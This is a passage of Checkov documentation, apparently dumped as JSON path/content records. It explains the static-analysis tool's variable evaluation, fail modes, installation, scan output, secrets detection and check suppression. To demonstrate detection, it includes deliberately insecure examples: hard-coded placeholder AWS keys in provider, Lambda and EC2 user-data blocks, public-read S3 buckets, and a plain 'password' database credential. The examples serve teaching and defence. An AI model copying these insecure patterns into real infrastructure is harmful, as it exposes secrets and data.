|\n| `RENDER_EDGES_DUPLICATE_ITER_COUNT` | Set the threshold to break out of calculating duplicate edges in the graph. This can be determined if you see `Reached too many edge duplications...` in the Checkov logs. | `4` |\n| `CHECKOV_OUTPUT_CODE_LINE_LIMIT` | Set the threshold for how long the code snippet can be and still show in the console output of Checkov. | `50` |\n| `CHECKOV_EXPERIMENTAL_GRAPH_DEBUG` | Enables experimental log output for debugging graph policies. | `False` |\n| `IGNORED_DIRECTORIES` | Comma-separated list of directories to ignore during scans.  | `node_modules,.terraform,.serverless` |\n| `EVAL_TF_PLAN_AFTER_UNKNOWN` | Experimental feature to leverage the after_unknown section of plan files to determine if the check should pass or fail. | `False` |\n| `CHECKOV_EXPERIMENTAL_TERRAFORM_MANAGED_MODULES` | Experimental feature to leverage the local cache of modules rather than downloading them. Requires terraform init before using. | `False` |\n| `GITHUB_PAT`, `BITBUCKET_TOKEN`, `TF_REGISTRY_TOKEN`, `TF_HOST_NAME`, `VCS_BASE_URL`, `VCS_USERNAME`, `VCS_TOKEN` | See [Scanning Private Terraform Modules](https://www.checkov.io/7.Scan%20Examples/Terraform.html) for more details. |\n| `ENABLE_CONFIG_FILE_VALIDATION` | If the conf-file explicitly set using the `--config-file` command does not exist, skip rather than throw an error (default) | `False` |\n| `CHECKOV_MAX_IAC_FILE_SIZE` | Set the max size for CloudFormation file scans. | `50_000_000` or 50MB |\n| `CHECKOV_MAX_FILE_SIZE` | Set the max file size for Secrets scans. | `5000000` or 5MB |\n| `JAVA_FULL_DT` | Enables a deeper SCA scan for Java projects to resolve the full dependency tree, including transitive dependencies. | `False` |"
  },
  {
    "path": "docs/2.Basics/Handling Variables.md",
    "content": "---\nlayout: default\npublished: true\ntitle: Handling Variables\nnav_order: 8\n---\n\n# Handling Variables\n\nCheckov supports the evaluation of variables found in Terraform expressions.\nVariables are declared in `.tf` files where each variable has an identifying name, description, and optional default value.\nCheckov collects the default values of variables and assigns them to their corresponding references in Terraform expressions.\nThe advantage of variable evaluation is to cover optional scenarios in which a forbidden value of a variable is set inside a Terraform resource configuration. In that scenario, the resource may not comply to security standards. \n\n## Example\n\nThis example uses the `CKV_AWS_20` check which validates if an S3 Bucket has an ACL defined which allows public access:\n\n```python\nclass S3PublicACL(BaseResourceCheck):\n    def __init__(self):\n        name = \"S3 Bucket has an ACL defined which allows public access.\"\n        id = \"CKV_AWS_20\"\n        supported_resources = ['aws_s3_bucket']\n        categories = [CheckCategories.GENERAL_SECURITY]\n        super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources)\n\n    def scan_resource_conf(self, conf):\n        \"\"\"\n            Looks for ACL configuration at aws_s3_bucket:\n            https://www.terraform.io/docs/providers/aws/r/s3_bucket.html\n        :param conf: aws_s3_bucket configuration\n        :return: <CheckResult>\n        \"\"\"\n        if 'acl' in conf.keys():\n            acl_block = conf['acl']\n            if acl_block in [[\"public-read\"],[\"public-read-write\"],[\"website\"]]:\n                return CheckResult.FAILED\n        return CheckResult.PASSED\n```\n\nIf we have the Terraform configuration and variable files below, Checkov evaluates the `var.acl` variable to `public-acl`, which results in the check failing:\n\n```python\n# ./main.tf\nresource \"aws_s3_bucket\" \"my_bucket\" {\n  region        = var.region\n  bucket        = local.bucket_name\n  acl           = var.acl\n  force_destroy = true\n}\n```\n\n```python\n# ./variables.tf\n\nvariable \"bucket_name\" {\n  default = \"MyBucket\"\n}\n\nvariable \"acl\" {\n  default = \"public-read\"\n}\n\nvariable \"region\" {\n  default = \"us-west-2\"\n}\n\n### CLI output\n```\n\n```python\n> checkov -d .\n...\nCheck: CKV_AWS_20: \"S3 Bucket has an ACL defined which allows public access.\"\n\tFAILED for resource: aws_s3_bucket.my_bucket\n\tFile: /main.tf:24-29\n\n\t\t24 | resource \"aws_s3_bucket\" \"my_bucket\" {\n\t\t25 |   region        = var.region\n\t\t26 |   bucket        = local.bucket_name\n\t\t27 |   acl           = var.acl\n\t\t28 |   force_destroy = true\n\t\t29 | }\n\tVariable acl (of /variables.tf) evaluated to value \"public-acl\" in expression: acl = ${var.acl}\n\tVariable region (of /variables.tf) evaluated to value \"us-west-2\" in expression: region = ${var.region}\n```\n\nTo pass the check, the value of `var.acl` needs to be set to `private` as follows:\n\n```python\n# ./variables.tf\n...\nvariable \"acl\" {\n  default = \"private\"\n}\n```\n\n\nThe check result now passes:\n\n```python\nCheck: CKV_AWS_20: \"S3 Bucket has an ACL defined which allows public access.\"\n\tPASSED for resource: aws_s3_bucket.template_bucket\n\tFile: /main.tf:24-29\n\n\tVariable acl (of /variables.tf) evaluated to value \"private\" in expression: acl = ${var.acl}\n\tVariable region (of /variables.tf) evaluated to value \"us-west-2\" in expression: region = ${var.region}\n```\n\n### JSON Output\nIf available, each `PASSED/FAILED` check contains the evaluation information, which contains all the variables that were evaluated.\nEach variable contains its variable source file path, the evaluated value, and the expressions in\nwhich it was referenced:\n\n```json\nevaluations: {\n  '<var_name>': {\n    'var_file': '<variable_file_relative_path>',\n    'value': '<value>',\n    'definitions': [\n      {\n        'definition_name': 'name',\n        'definition_expression': '${var.customer_name}_group',\n        'definition_path': 'resource/0/aws_cognito_user_group/user_group/name/0'\n      },\n      {\n        'definition_name': 'description',\n        'definition_expression': '${var.customer_name} user group',\n        'definition_path': 'resource/0/aws_cognito_user_group/user_group/description/0'\n      }\n    ]\n  },\n  ...\n}\n```\n"
  },
  {
    "path": "docs/2.Basics/Hard and soft fail.md",
    "content": "---\nlayout: default\npublished: true\ntitle: Hard and soft fail\nnav_order: 4\n---\n\n# Hard and soft fail\n\nYou can fine tune exactly which cases cause the Checkov scan to return a pass or fail result. The exit code of the Checkov process will be `0` for a passing result and `1` for a failure result.\n\nA result is passing if all checks are passed or skipped; otherwise, the result is a failure. However, you can use the `--soft-fail`, `--soft-fail-on`, and `--hard-fail-on` options to customize this.\n\nA \"soft failure\" is a result in which Checkov finds and reports errors during the scan, but still returns an exit code of `0`. This differs from skipping or suppressing checks in that a skipped or suppressed check is not a failing check, and thus will not result in an error exit code.\n\n## Argument details\n\n### --soft-fail\n\nUse the `--soft-fail` (`-s`) option to have Checkov always return a `0` exit code, regardless of scan results.\n\n### --soft-fail-on\n\nUse the `--soft-fail-on` option to pass one or more check IDs (including wildcards) and / or severity levels to specify which failed checks will result in a soft fail result. Any failed check that does not match a criteria in the soft-fail list will result in an error exit code (`1`).\n\nFor soft fails, a failed check *matches* the threshold if its severity is less than or equal to the soft fail severity. If you specify more than one severity for soft fail, then the highest severity will be used as the threshold.\n\n### --hard-fail-on\n\nUse the `--hard-fail-on` option to pass one or more check IDs and / or severity levels to specify which failed checks will result in an error result. If all failed checks do *not* match any criteria in the hard-fail list, then the result of the scan will be a soft fail (`0`).\n\nFor hard fails, a a failed check *matches* the threshold if its severity is greater than or equal to the hard fail severity. If you specify more than one severity for hard fail, then the lowest severity will be used as the threshold.\n\n## Combining options\n\nYou can combine the use of the three flags described above. In this case, Checkov will evaluate each failed check, applying the following logic in order of precedence:\n\n1. If the failed check matches a check ID (or wildcard) in the *hard fail* list, then the result is a hard failure.\n2. If the failed check matches a check ID (or wildcard) in the *soft fail* list, then the result is a soft failure.\n3. If the failed check's severity is equal to or greater than the severity in the *hard fail* list, then the result is a hard failure.\n4. If the failed check's severity is equal to or less than the severity in the *soft fail* list, then the result is a soft failure.\n6. If the failed check does not match a check ID, wildcard, or severity in either list, then the result is the value of the `--soft-fail` flag.\n\nUsing the logic above, if *any* failed check results hard failure, then the result of the run is a hard failure. If *all* failed checks result in a soft failure, then the result is a soft failure.\n\n# Examples\n\nAssume we have a scan with two failed results:\n\n|Policy Id|Severity|\n|---------|--------|\n|CKV_123|LOW|\n|CKV_789|HIGH|\n\nThe table below shows how different values of `--soft-fail`, `--soft-fail-on`, and `--hard-fail-on` will yield an exit code.\n\n|Soft Fail|Soft Fail On|Hard Fail On|Scan Result|Comments|\n|-|-|-|-|-|\n|True | - | - |0 (soft fail)|All errors are soft fails|\n|False|CKV_123|-|1 (hard fail)|Soft fail requires all failures to match a soft fail criteria|\n|False|-|CKV_999|0|Every failed check did not match a hard fail criteria, so the result is implicitly soft fail|\n|False|LOW,CKV_789|CKV_123|1|The explicit match of the hard fail criteria results in a hard fail|\n|False|CKV_789|HIGH|1|CKV_789 explicitly matches a soft fail criteria, which overrides the hard fail. But CKV_123 is not in either list, so defaults to the value of `--soft-fail`, which is false|\n|True|CKV_789|HIGH|0|CKV_789 explicitly matches a soft fail criteria, which overrides the hard fail. But CKV_123 is not in either list, so defaults to `--soft-fail`, which is true|\n\n# Platform enforcement rules\n\nCheckov can download [enforcement rules](https://docs.prismacloud.io/en/enterprise-edition/content-collections/application-security/risk-management/monitor-and-manage-code-build/enforcement) that you configure in the Prisma Cloud platform. This allows you to centralize the failure and check threshold configurations, instead of defining them in each pipeline.\n\nTo use enforcement rules, use the `--use-enforcement-rules` flag along with a platform API key.\n\nEnforcement rules allow you to specify a hard-fail severity threshold equivalent to using the `--hard-fail-on <SEVERITY>` argument in Checkov. However, whereas this argument is global, the enforcement rules settings are more granular, for each major category of scanner that Checkov has (IaC, secrets, etc). So, for example, you can hard-fail any IaC scan on `MEDIUM` severity or higher, and hard-fail the SCA scan on `HIGH` severity or higher.\n\nYou can combine the platform enforcement rules with the `--soft-fail`, `--soft-fail-on`, and `--hard-fail-on` arguments to customize the options for a specific run. It will have the following effects. Note that these flags are still global and will get merged with the relevant enforcement rule for the particular framework being scanned.\n\n* If you use `--soft-fail`, it overrides the enforcement rule hard fail threshold for all runners.\n* If you use `--soft-fail-on` and / or `--hard-fail-on` with only check IDs (not severities), then it combines those lists with the hard fail threshold from the respective enforcement rule.\n* If you use `--soft-fail-on` and / or `--hard-fail-on` with a severity, then those severities override the enforcement rule hard fail threshold for all runners.\n"
  },
  {
    "path": "docs/2.Basics/Installing Checkov.md",
    "content": "---\nlayout: default\npublished: true\ntitle: Installing Checkov\nnav_order: 1\n---\nInstalling Checkov is quick and straightforward—just install, configure input, and scan.\n\n### Install From PyPi Using Pip\n\n```shell\npip install checkov\n```\n\nor\n\n```shell\npip3 install checkov\n```\n\n### Install on Alpine\n\nIn general, it is not recommended to use Alpine with larger Python projects, like Checkov, because of incompatible C extensions.\nCurrently, Checkov can only be installed on Alpine with Python 3.11+, but it is not officially tested or supported.\n\n```shell\npip3 install --upgrade pip && pip3 install --upgrade setuptools\npip3 install checkov\n```\n\n### Install with Homebrew\n\n```shell\nbrew install checkov\n```\n\n### Install in a virtual environment\n\nFor environments like Debian 12, it’s recommended to use a Python virtual environment:\n\n**Create and Activate Virtual Environment**:\n```sh\npython3 -m venv /path/to/venv/checkov\ncd /path/to/venv/checkov\nsource ./bin/activate\n```\n\n**Install Checkov**:\n```sh\npip install checkov\n```\n\n**Optional: Create Symlink for Easy Access**:\n```sh\nsudo ln -s /path/to/venv/checkov/bin/checkov /usr/local/bin/checkov\n```\n\n## Upgrading Checkov\n\nIf you installed Checkov with pip3, use the following command to upgrade:\n\n```shell\npip3 install -U checkov\n```\n\nor with Homebrew\n\n```sh\nbrew upgrade checkov\n```\n\n## Configure an input folder or file\n\n### Configure a folder\n\n```shell\ncheckov --directory /user/path/to/iac/code\n```\n\n### Configure a specific file\n\n```shell\ncheckov --file /user/tf/example.tf\n```\n\n### Configure Multiple Specific Files\n\n```shell\ncheckov -f /user/cloudformation/example1.yml -f /user/cloudformation/example2.yml\n```\n\n### Configure a Terraform Plan file in JSON\n\n```json\nterraform init\nterraform plan -out tf.plan\nterraform show -json tf.plan  > tf.json \ncheckov -f tf.json\n```\n\nNote: The Terraform show output file `tf.json` will be a single line. For that reason Checkov will report all findings as line number 0.\n\n```json\ncheck: CKV_AWS_21: \"Ensure all data stored in the S3 bucket have versioning enabled\"\n\tFAILED for resource: aws_s3_bucket.customer\n\tFile: /tf/tf.json:0-0\n\tGuide: https://docs.prismacloud.io/en/enterprise-edition/policy-reference/aws-policies/s3-policies/s3-16-enable-versioning\n```\n\nIf you have installed jq, you can convert a JSON file into multiple lines with the command `terraform show -json tf.plan | jq '.' > tf.json`, making it easier to read the scan result. NOTE: `jq` is required to show the code block as seen below. \n\n```json\ncheckov -f tf.json\nCheck: CKV_AWS_21: \"Ensure all data stored in the S3 bucket have versioning enabled\"\n\tFAILED for resource: aws_s3_bucket.customer\n\tFile: /tf/tf1.json:224-268\n\tGuide: https://docs.prismacloud.io/en/enterprise-edition/policy-reference/aws-policies/s3-policies/s3-16-enable-versioning\n\n\t\t225 |               \"values\": {\n\t\t226 |                 \"acceleration_status\": \"\",\n\t\t227 |                 \"acl\": \"private\",\n\t\t228 |                 \"arn\": \"arn:aws:s3:::mybucket\",\n```\n"
  },
  {
    "path": "docs/2.Basics/Reviewing Scan Results.md",
    "content": "---\nlayout: default\npublished: true\ntitle: Reviewing Scan Results\nnav_order: 6\n---\n\n# Reviewing Scan Results\n\nThe results of Checkov scans can be viewed in CLI, JSON, JUnit XML, SARIF, or Markdown\n\n> Note: For Markdown output, you need to use `github_failed_only` as the `--output` type\n\n## Scan Result Sample (CLI)\n\nConsider the following Terraform configuration of an S3 bucket:\n\n```python\nresource \"aws_s3_bucket\" \"foo-bucket\" {\n  region        = var.region\n  bucket        = local.bucket_name\n  force_destroy = true\n\n  tags = {\n    Name = \"foo-${data.aws_caller_identity.current.account_id}\"\n  }\n  versioning {\n    enabled = true\n  }\n  logging {\n    target_bucket = \"${aws_s3_bucket.log_bucket.id}\"\n    target_prefix = \"log/\"\n  }\n  server_side_encryption_configuration {\n    rule {\n      apply_server_side_encryption_by_default {\n        kms_master_key_id = \"${aws_kms_key.mykey.arn}\"\n        sse_algorithm     = \"aws:kms\"\n      }\n    }\n  }\n  acl           = \"private\"\n}\n```\n\nThe appropriate output report is:\n\n```python\nPassed checks: 4, Failed checks: 0, Skipped checks: 0\n\nCheck: \"Ensure all data stored in the S3 bucket is securely encrypted at rest\"\n\tPASSED for resource: aws_s3_bucket.foo-bucket\n\tFile: /example.tf:1-25\n\n\nCheck: \"Ensure the S3 bucket has access logging enabled\"\n\tPASSED for resource: aws_s3_bucket.foo-bucket\n\tFile: /example.tf:1-25\n\n\nCheck: \"Ensure all data stored in the S3 bucket have versioning enabled\"\n\tPASSED for resource: aws_s3_bucket.foo-bucket\n\tFile: /example.tf:1-25\n\n\nCheck: \"S3 Bucket has an ACL defined which allows public access.\"\n\tPASSED for resource: aws_s3_bucket.foo-bucket\n\tFile: /example.tf:1-25\n```\n\nThe bucket's current configuration seems to comply with the available ``aws_s3_bucket`` resource type checks.\n\nHowever, if the bucket is going to be used for static content hosting, it requires additional configuration to allow public access:\n\n```python\nresource \"aws_s3_bucket\" \"foo-bucket\" {\n  region        = var.region\n  bucket        = local.bucket_name\n  force_destroy = true\n\n  tags = {\n    Name = \"foo-${data.aws_caller_identity.current.account_id}\"\n  }\n  versioning {\n    enabled = true\n  }\n  logging {\n    target_bucket = \"${aws_s3_bucket.log_bucket.id}\"\n    target_prefix = \"log/\"\n  }\n  server_side_encryption_configuration {\n    rule {\n      apply_server_side_encryption_by_default {\n        kms_master_key_id = \"${aws_kms_key.mykey.arn}\"\n        sse_algorithm     = \"aws:kms\"\n      }\n    }\n  }\n  acl           = \"public-read\"\n}\ndata \"aws_caller_identity\" \"current\" {}\n```\n\nAfter configuring the bucket to allow public access, the output report contains the failed check:\n\n```python\nPassed checks: 3, Failed checks: 1, Skipped checks: 0\n\nCheck: \"Ensure all data stored in the S3 bucket is securely encrypted at rest\"\n\tPASSED for resource: aws_s3_bucket.foo-bucket\n\tFile: /example.tf:1-25\n\n\nCheck: \"Ensure the S3 bucket has access logging enabled\"\n\tPASSED for resource: aws_s3_bucket.foo-bucket\n\tFile: /example.tf:1-25\n\n\nCheck: \"Ensure all data stored in the S3 bucket have versioning enabled\"\n\tPASSED for resource: aws_s3_bucket.foo-bucket\n\tFile: /example.tf:1-25\n\n\nCheck: \"S3 Bucket has an ACL defined which allows public access.\"\n\tFAILED for resource: aws_s3_bucket.foo-bucket\n\tFile: /example.tf:1-25\n\n\t\t1 | resource \"aws_s3_bucket\" \"foo-bucket\" {\n\t\t2 |   region        = var.region\n\t\t3 |   bucket        = local.bucket_name\n\t\t4 |   force_destroy = true\n\t\t5 |\n\t\t6 |   tags = {\n\t\t7 |     Name = \"foo-${data.aws_caller_identity.current.account_id}\"\n\t\t8 |   }\n\t\t9 |   versioning {\n\t\t10 |     enabled = true\n\t\t11 |   }\n\t\t12 |   logging {\n\t\t13 |     target_bucket = \"${aws_s3_bucket.log_bucket.id}\"\n\t\t14 |     target_prefix = \"log/\"\n\t\t15 |   }\n\t\t16 |   server_side_encryption_configuration {\n\t\t17 |     rule {\n\t\t18 |       apply_server_side_encryption_by_default {\n\t\t19 |         kms_master_key_id = \"${aws_kms_key.mykey.arn}\"\n\t\t20 |         sse_algorithm     = \"aws:kms\"\n\t\t21 |       }\n\t\t22 |     }\n\t\t23 |   }\n\t\t24 |   acl           = \"public-read\"\n\t\t25 | }\n```\n\nThe corresponding check now fails, and the report includes the appropriate failing configuration source code.\n\nIn order to skip the failed check, we annotate the bucket with a suppression comment (which needs to appear inside the resource scope):\n\n```python\nresource \"aws_s3_bucket\" \"foo-bucket\" {\n  # checkov:skip=CKV_AWS_20:The bucket is a public static content host\n  region        = var.region\n  bucket        = local.bucket_name\n  force_destroy = true\n  tags = {\n    Name = \"foo-${data.aws_caller_identity.current.account_id}\"\n  }\n  versioning {\n    enabled = true\n  }\n  logging {\n    target_bucket = \"${aws_s3_bucket.log_bucket.id}\"\n    target_prefix = \"log/\"\n  }\n  server_side_encryption_configuration {\n    rule {\n      apply_server_side_encryption_by_default {\n        kms_master_key_id = \"${aws_kms_key.mykey.arn}\"\n        sse_algorithm     = \"aws:kms\"\n      }\n    }\n  }\n  acl           = \"public-read\"\n}\n```\n\nCheckov then skips the ``CKV_AWS_20`` check, and the output report is:\n\n```python\nPassed checks: 3, Failed checks: 0, Skipped checks: 1\n\nCheck: \"Ensure all data stored in the S3 bucket is securely encrypted at rest\"\n\tPASSED for resource: aws_s3_bucket.foo-bucket\n\tFile: /example.tf:1-25\n\n\nCheck: \"Ensure the S3 bucket has access logging enabled\"\n\tPASSED for resource: aws_s3_bucket.foo-bucket\n\tFile: /example.tf:1-25\n\n\nCheck: \"Ensure all data stored in the S3 bucket have versioning enabled\"\n\tPASSED for resource: aws_s3_bucket.foo-bucket\n\tFile: /example.tf:1-25\n\n\nCheck: \"S3 Bucket has an ACL defined which allows public access.\"\n\tSKIPPED for resource: aws_s3_bucket.foo-bucket\n\tSuppress comment: The bucket is a public static content host\n\tFile: /example.tf:1-25\n```\n## Visualize Checkov output\nRead more about [sending your Checkov scan results to Prisma Cloud](https://www.checkov.io/2.Basics/Visualizing%20Checkov%20Output.html).\n"
  },
  {
    "path": "docs/2.Basics/Scanning Credentials and Secrets.md",
    "content": "---\nlayout: default\npublished: true\ntitle: Scanning Credentials and Secrets\nnav_order: 5\n---\n\n# Scanning Credentials and Secrets\n\nCheckov can scan for a number of different common credentials such as AWS access keys, Azure service credentials, or private keys that are hard-coded in a Terraform code block.\nSee list of regular expressions [here](https://github.com/bridgecrewio/checkov/blob/main/checkov/common/util/secrets.py).\n\nLet’s assume we have the following Terraform provider block:\n\n```yaml\n# Snippet from  main.tf\nprovider \"aws\" {\n  region     = \"us-west-2\"\n  access_key = \"AKIAIOSFODNN7EXAMPLE\"\n  secret_key = \"wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY\"\n}\n```\n\nAs stated in Terraform's documentation: “Hard-coding credentials into any Terraform configuration is not recommended, and risks secret leakage should this file ever be committed to a public version control system.”\n\nRun Checkov to detect secrets:\n\n```shell\ncheckov -f main.tf\n```\n\nThis is the output of the scan\n\n```text\n      _               _              \n   ___| |__   ___  ___| | _______   __\n  / __| '_ \\ / _ \\/ __| |/ / _ \\ \\ / /\n | (__| | | |  __/ (__|   < (_) \\ V / \n  \\___|_| |_|\\___|\\___|_|\\_\\___/ \\_/  \n                                      \nversion: 1.0.202 \n\nterraform scan results:\n\nPassed checks: 0, Failed checks: 1, Skipped checks: 0\n\nCheck: CKV_AWS_41: \"Ensure no hard coded AWS access key and secret key exists\"\n\tFAILED for resource: provider.aws\n\tFile: :1-5\n\n\t\t1 | provider \"aws\" {\n\t\t2 |   region     = \"us-west-2\"\n\t\t3 |   access_key = \"AKIAIOSFODNN7EXAMPLE\"\n\t\t4 |   secret_key = \"wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY\"\n\t\t5 | }\n```\nCheckov can also detect secrets defined in lambda variables as shown in the example below.\n\n```yaml\nresource \"aws_lambda_function\" \"test_lambda\" {\n  filename      = \"resources/lambda_function_payload.zip\"\n  function_name = \"${local.resource_prefix.value}-analysis\"\n  role          = \"${aws_iam_role.iam_for_lambda.arn}\"\n  handler       = \"exports.test\"\n\n  source_code_hash = \"${filebase64sha256(\"resources/lambda_function_payload.zip\")}\"\n\n  runtime = \"nodejs12.x\"\n\n  environment {\n    variables = {\n      access_key = \"AKIAIOSFODNN7EXAMPLE\"\n      secret_key = \"wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY\"\n    }\n  }\n}\n```\n\nor in EC2 user data as shown in the example below:\n\n```yaml\nresource \"aws_instance\" \"compute_host\" {\n  # ec2 have plain text secrets in user data\n  ami           = \"ami-04169656fea786776\"\n  instance_type = \"t2.nano\"\n  user_data     = <<EOF\n#! /bin/bash\nsudo apt-get update\nsudo apt-get install -y apache2\nsudo systemctl start apache2\nsudo systemctl enable apache2\nexport AWS_ACCESS_KEY_ID\nexport AWS_ACCESS_KEY_ID=AKIAIOSFODNN7EXAMPLE\nexport AWS_SECRET_ACCESS_KEY=wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY\nexport AWS_DEFAULT_REGION=us-west-2\necho \"<h1>Deployed via Terraform</h1>\" | sudo tee /var/www/html/index.html\nEOF\n  tags = {\n    Name  = \"${local.resource_prefix.value}-ec2\"\n  }\n}\n```\n"
  },
  {
    "path": "docs/2.Basics/Suppressing and Skipping Policies.md",
    "content": "---\nlayout: default\npublished: true\ntitle: Suppressing and Skipping Policies\nnav_order: 3\n---\n\n# Suppressing/skipping\n\nLike any static-analysis tool, suppression is limited by its analysis scope.\nFor example, if a resource is managed manually, or using configuration management tools, a suppression can be inserted as a simple code annotation.\n\nThere are two main ways to skip or suppress checks:\n\n1. Suppress individual checks on a per-resource basis\n2. Explicitly run or skip certain checks altogether\n\n# Suppressing individual checks\n\nYou can use inline code comments or annotations to skip individual checks for a particular resource.\n\nTo skip a check on a given Terraform definition block or CloudFormation resource, apply the following comment pattern inside its scope:\n`checkov:skip=<check_id>:<suppression_comment>`\n\n* `<check_id>` is one of the available check scanners.\n* `<suppression_comment>` is an optional suppression reason to be included in the output.\n\n### Example\nThe following comment skips the `CKV_AWS_20` check on the resource identified by `foo-bucket`, where the scan checks if an AWS S3 bucket is private.\nIn the example, the bucket is configured with a public read access; Adding the suppression comment skips the appropriate check instead of the check failing.\n\n```python\nresource \"aws_s3_bucket\" \"foo-bucket\" {\n  region        = var.region\n    #checkov:skip=CKV_AWS_20:The bucket is a public static content host\n  bucket        = local.bucket_name\n  force_destroy = true\n  acl           = \"public-read\"\n}\n```\n\nThe output now contains a ``SKIPPED`` check result entry:\n\n```python\n...\n...\nCheck: \"S3 Bucket has an ACL defined which allows public access.\"\n\tSKIPPED for resource: aws_s3_bucket.foo-bucket\n\tSuppress comment: The bucket is a public static content host\n\tFile: /example_skip_acl.tf:1-25\n\n...\n```\n### Cloudformation Example:\n\n```yaml\nResources:\n  MyDB:\n    Type: 'AWS::RDS::DBInstance'\n    # Test case for check skip via comment\n    # checkov:skip=CKV_AWS_16:Ensure all data stored in the RDS is securely encrypted at rest\n    Properties:\n      DBName: 'mydb'\n      DBInstanceClass: 'db.t3.micro'\n      Engine: 'mysql'\n      MasterUsername: 'master'\n      MasterUserPassword: 'password'\n```\n\n### Dockerfile Example\nTo suppress checks in Dockerfiles the comment can be added to any line inside the file.\n\n```dockerfile\n#checkov:skip=CKV_DOCKER_5: no need to skip python check\n#checkov:skip=CKV2_DOCKER_7: no need to skip graph check\nFROM alpine:3.3\nRUN apk --no-cache add nginx\nEXPOSE 3000 80 443 22\n#checkov:skip=CKV_DOCKER_1: required\nCMD [\"nginx\", \"-g\", \"daemon off;\"]\n```\n\n### Kubernetes Example\nTo suppress checks in Kubernetes manifests, annotations are used with the following format:\n`checkov.io/skip#: <check_id>=<suppression_comment>`\n\n```yaml\napiVersion: v1\nkind: Pod\nmetadata:\n  name: mypod\n  annotations:\n    checkov.io/skip1: CKV_K8S_20=I don't care about Privilege Escalation :-O\n    checkov.io/skip2: CKV_K8S_14\n    checkov.io/skip3: CKV_K8S_11=I have not set CPU limits as I want BestEffort QoS\nspec:\n  containers:\n...\n```\n\n### Secrets Example\nTo suppress secrets checks in any configuration file a comment needs to be added directly before, after or next to the infringing line.\n\n```yaml\nResources:\n  MyDB:\n    Type: 'AWS::RDS::DBInstance'\n    Properties:\n      DBName: 'mydb'\n      DBInstanceClass: 'db.t3.micro'\n      Engine: 'mysql'\n      MasterUsername: 'master'\n      # checkov:skip=CKV_SECRET_6 before it\n      MasterUserPassword: 'password' # checkov:skip=CKV_SECRET_6 or next to it\n      # checkov:skip=CKV_SECRET_6 or after it\n```\n\n### CloudFormation Metadata\nAdditionally, it is possible to suppress CloudFormation checks via the `Metadata` section inside a resource.\n```yaml\nResources:\n  MyDB:\n    Metadata:\n      checkov:\n        skip:\n          - id: \"CKV_AWS_157\"\n            comment: \"Ensure that RDS instances have Multi-AZ enabled\"\n    Type: \"AWS::RDS::DBInstance\"\n    Properties:\n      DBName: \"mydb\"\n      DBInstanceClass: \"db.t3.micro\"\n      Engine: \"mysql\"\n      MasterUsername: \"master\"\n      MasterUserPassword: \"password\"\n```\n\n### CDK Example\nThe `Metadata` section of a CDK construct can only be adjusted via the L1 (layer 1) construct, also known as CloudFormation resource.\n```typescript\nconst bucket = new aws_s3.Bucket(this, 'MyBucket', {\n  versioned: true\n});\nconst cfnBucket = bucket.node.defaultChild as aws_s3.CfnBucket;\n\ncfnBucket.cfnOptions.metadata = {\n  'checkov': {\n    'skip': [\n      {\n        'id': 'CKV_AWS_18',\n        'comment': 'Ensure the S3 bucket has access logging enabled'\n      }\n    ]\n  }\n}\n```\nRun the `synth` command to generate a CloudFormation template and scan it\n```shell\n$ cdk synth\nResources:\n  MyBucketF68F3FF0:\n    Type: AWS::S3::Bucket\n    Properties:\n      VersioningConfiguration:\n        Status: Enabled\n    UpdateReplacePolicy: Retain\n    DeletionPolicy: Retain\n    Metadata:\n      checkov:\n        skip:\n          - id: CKV_AWS_18\n            comment: Ensure the S3 bucket has access logging enabled\n  CDKMetadata:\n    ...\n\n$ checkov -f cdk.out/AppStack.template.json\n       _               _              \n   ___| |__   ___  ___| | _______   __\n  / __| '_ \\ / _ \\/ __| |/ / _ \\ \\ / /\n | (__| | | |  __/ (__|   < (_) \\ V / \n  \\___|_| |_|\\___|\\___|_|\\_\\___/ \\_/  \n                                      \nBy Prisma Cloud | version: 3.0.1\n\ncloudformation scan results:\n\nPassed checks: 3, Failed checks: 5, Skipped checks: 1\n\n...\n\nCheck: CKV_AWS_18: \"Ensure the S3 bucket has access logging enabled\"\n        SKIPPED for resource: AWS::S3::Bucket.MyBucketF68F3FF0\n        Suppress comment: Ensure the S3 bucket has access logging enabled\n        File: /../anton/cfn.json:3-22\n        Guide: https://docs.prismacloud.io/en/enterprise-edition/policy-reference/aws-policies/s3-policies/s3-13-enable-logging\n\n\n```\n\n### Software Composition Analysis (SCA)\nSuppressing SCA findings can be done in a variety of ways to fit your needs. CVEs can be suppressed using `--skip-check CKV_CVE_2022_1234` to suppress a specific CVE for that run or `--skip-cve-package package_name` to skip all CVEs for a specific package.\n\nFor inline SCA suppressions, depending on the package manager, there are different ways to suppress CVEs and License violations. Adding a skip comment to any package manager file will suppress all findings for that CVE or package and License combination for that file.\n\n#### Python (requirements.txt), .NET (Paket), Java/Kotlin (gradle.properties), Ruby (Gemfile)\nThe skip comment can be anywhere in the file.\n\nThe example below is for requirements.txt\n\n```requirements.txt\n# checkov:skip=CVE-2019-19844: ignore CVE-2019-19844 for all packages in this file\n# checkov:skip=jinja2[BC_LIC_1]: ignore non-OSI license violations for jinja2\ndjango==1.2\njinja2==3.1.0\n```\n\n#### JavaScript (package.json and bower.json)\nThe skip comment can be anywhere in the metadata. Add these skip comments to the non-lock file and ensure you scan the non-lock file with any lock file scan. For example, package.json and yarn.lock must be scanned together for the suppression from the package.json to apply to the yarn.lock violations.\n\nThe example below is for multiple skip comments for package.json\n\n```package.json\n{\n  \"name\": \"my-package\",\n  \"version\": \"1.0.0\",\n  \"description\": \"A sample package.json file\",\n  \"//\": [\"checkov:skip=express[BC_LIC_2]: ignore unknown license violations for express in this file\",\n         \"checkov:skip=CVE-2023-123: ignore this CVE for this file\"]\n  \"dependencies\": {\n    \"express\": \"4.17.1\",\n    \"lodash\": \"4.17.21\"\n  },\n  \"scripts\": {\n    \"start\": \"node server.js\",\n    \"test\": \"jest\"\n  }\n}\n```\n\nAlternatively, you can add a single skip comment\n\n```\n\"//\": \"checkov:skip=CVE-2023-123: ignore this CVE for this file\"\n```\n\n### Java (pom.xml), .NET (*.csproj)\nThe skip comment can be anywhere in the file.\n\nThe example below is for pom.xml\n\n```pom.xml\n  <!--checkov:skip=CVE-2023-123: ignore this CVE for the file-->\n  <!--checkov:skip=junit[BC_LIC_1]: ignore non-compliant license findings for junit-->\n  <dependencies>\n    <dependency>\n      <groupId>org.springframework</groupId>\n      <artifactId>spring-web</artifactId>\n      